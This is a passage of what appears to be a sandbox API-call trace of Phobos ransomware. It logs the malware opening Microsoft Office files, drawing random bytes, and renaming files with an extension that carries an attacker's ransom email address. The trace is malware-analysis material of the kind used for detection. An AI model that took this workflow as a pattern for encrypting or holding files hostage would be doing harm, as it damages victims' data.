Office\\root\\Flattener\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.870] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.875] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=439608) returned 1 [0151.875] CloseHandle (hObject=0x564) returned 1 [0151.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220 [0151.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.877] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.879] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=266928) returned 1 [0151.879] CloseHandle (hObject=0x564) returned 1 [0151.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 0x220 [0151.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.879] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.886] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=85328) returned 1 [0151.886] CloseHandle (hObject=0x564) returned 1 [0151.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 0x220 [0151.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.886] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.888] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7217832) returned 1 [0151.888] CloseHandle (hObject=0x564) returned 1 [0151.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0x220 [0151.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0 [0151.889] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.891] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=25876480) returned 1 [0151.892] CloseHandle (hObject=0x564) returned 1 [0151.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0x220 [0151.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0 [0151.892] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.893] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=25876480) returned 1 [0151.893] CloseHandle (hObject=0x564) returned 1 [0151.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220 [0151.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0 [0151.894] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.895] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12640256) returned 1 [0151.895] CloseHandle (hObject=0x564) returned 1 [0151.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220 [0151.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0 [0151.899] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.936] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1026422) returned 1 [0151.936] CloseHandle (hObject=0x564) returned 1 [0151.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220 [0151.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.952] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.971] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=615304) returned 1 [0151.971] CloseHandle (hObject=0x564) returned 1 [0151.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0151.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.005] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=595977) returned 1 [0152.005] CloseHandle (hObject=0x564) returned 1 [0152.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0152.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.006] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.006] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20775) returned 1 [0152.007] CloseHandle (hObject=0x564) returned 1 [0152.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0152.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.007] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.008] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11594) returned 1 [0152.008] CloseHandle (hObject=0x564) returned 1 [0152.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.008] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.009] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0152.009] CloseHandle (hObject=0x564) returned 1 [0152.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.009] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.021] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20780) returned 1 [0152.021] CloseHandle (hObject=0x564) returned 1 [0152.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.036] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10631) returned 1 [0152.036] CloseHandle (hObject=0x564) returned 1 [0152.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0152.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.036] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.037] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20778) returned 1 [0152.037] CloseHandle (hObject=0x564) returned 1 [0152.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0152.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 